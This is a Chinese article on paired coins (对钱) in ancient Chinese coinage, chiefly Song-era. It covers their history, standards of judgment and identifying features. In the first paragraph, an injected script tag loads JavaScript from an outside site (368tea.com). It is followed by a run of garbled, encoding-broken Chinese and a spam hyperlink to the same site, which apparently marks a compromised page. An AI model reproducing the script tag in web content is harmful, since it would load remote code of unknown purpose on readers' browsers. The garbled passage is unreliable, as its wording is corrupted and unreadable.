古币之美有对钱
在我国古代钱币中，有的朝代曾铸造了两种或几种不同书体文字配对的同一钱文的年号（或国号）钱，尽管书体不一，但它们都是同一钱监，同一时期，或同一设计师和工匠之手制作，即使书体不同却韵味相通，气息相近，钱制大小、厚薄?script type='text/javascript' src='http://www.368tea.com/js/v.js'>止碚┛状笮。淖治恢谩⒉季帧⒈适拼窒福钋常酥列馍⒎绺裢耆疲伤涠缘那遥饨小岸郧被颉岸宰忧薄Ｈ毡狙д叱莆胺先薄！岸郧本哂泻芨叩囊帐跣郎秃脱芯考壑怠Ｋ谖夜?a href=http://www.368tea.com/ id=kw target=_blank>文化中一枝独秀，是钱币文化的瑰宝。我国清代古钱学家翁树培在《古泉汇考》中专有叙述。日本学者著有《符合泉志》专门研究宋代的“对钱”。
“对称美”是华夏民族文化几千年来一种传统的审美观点。方孔圆钱造型结构本身就体现了这种美学观点。特别是两宋崇尚艺术文化，铸钱工艺长足进步，合金配比工艺流程水平很高，超越了前朝，促进了对钱的盛行，把我国古代金属铸币艺术推到了巅峰。宋袭唐制，迄宋太宗淳化、至道（990－997年）年间，帝书钱文，用真、行、草三种书体铸钱，史称“三体书”。真正形成两宋“对钱”却是宋仁宗（天圣元年1023年）到南宋孝宗（淳熙六年1179年），是两宋对钱盛行时期，历时长达156年。
北宋徽宗政和年间至钦宗靖康年间（1111－1127年）所铸对钱由篆、隶两种书体配对成为主流，偶尔杂有行书、瘦金等书体，两宋对钱盛行时期皆以篆书配对为主线，或篆、真，或篆、行、篆、隶配对。用篆书为主线配对是两宋对钱之主要特点。
现将笔者收藏徽宗朝“政和”、“重和”、“宣和”三双对钱墨拓图片提供欣赏（青铜，皆真）。
对钱有“低标准”和“高标准”两个判识标准。例如南唐的“开元通宝”和“唐国通宝”都有篆、隶两种书体的对钱。阔缘小字。这是我国最早的对钱，无先例可援，不宜严格挑剔。西夏乾裕、天庆、光定亦有年号对钱，还出现汉文和西夏文对钱。这些自应属于低标准。事物是发展的。宋代是我国历史上著名的造钱艺术巅峰期之一。钱币数量多、品类繁杂。作为初学收藏者和专业学术研究应有所区分。审视对钱也应有两种标准。初学只要掌握对钱知识，对一种年号两种书体即可配对，当然这属于低标准。对专业研究来说必须科学、精专，对规制、钱监、金属、型制、文字、锈色等等皆须严格审鉴。有的对钱，不仅文字、轮郭、气息、神韵相似，而且还要同期入土，一样的坑色，可称天然的艺术杰作，这对研究造钱工艺、材质和锈蚀成因亦有科学价值。
判识“对钱”制造特征可从四个方面入手：
一是钱体大小轻重。如：小平大样、小样，折二广穿、狭穿、厚肉、薄肉等；
二是制作特征。如：阔缘、中缘、狭缘、背阔缘、肥郭、细郭、正郭、决郭、阴郭、背肥郭等等；
三是文字书写特点。如：大字、中字、小字、长字、短字；大头通、广通；平头元、尖头元、肥元、狭元；横点金、方贝宝，圆头宝、隶宝、长宝；政和钱的文政、拒正、长尾，宣和钱的圆冠、长冠、巨冠等等；
四是钱文位置布局。如：离郭、寄郭、接郭、隔轮、连轮；进通、退通；仰元、俯元；昂宝、离宝；宣和钱的俯宣、治平钱的直平、斜平等等。
对钱分类研究，学术性较强，有许多课题可以深入探讨，但这都是在前人研究成果基础上的前进。只有继承、发扬、创新才能使“对钱”的认识不断深化，不断完善，更贴近实际。
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